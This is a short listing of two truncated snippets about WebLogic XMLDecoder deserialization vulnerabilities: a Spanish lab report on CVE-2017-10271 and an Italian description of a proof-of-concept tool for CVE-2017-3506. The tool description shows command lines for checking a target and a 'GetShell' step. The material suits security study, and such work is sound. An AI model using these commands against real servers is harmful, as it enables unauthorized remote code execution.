CVE-2017-10271

LAB 2 - CVE-2017-10271: Informe de Deserialización XMLDecoder en WebLogic I. Análisis del Sistema Análisis de los Registros del Sistema Servicio detectado: Oracle WebLogic Server AdminServer perteneciente a basedomain ejecutándose en Development Mode. Puerto de conexión: 7001. Protocolos...

CVE-2017-3506

Cos'è questo? Questo è un proof of concept per CVE-2017-3506 serializzazione XMLDecoder di Weblogic Come usarlo? controllo vulnerabilità root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell root@kitploit: java -jar WebLogic-XMLDecoder.jar -s...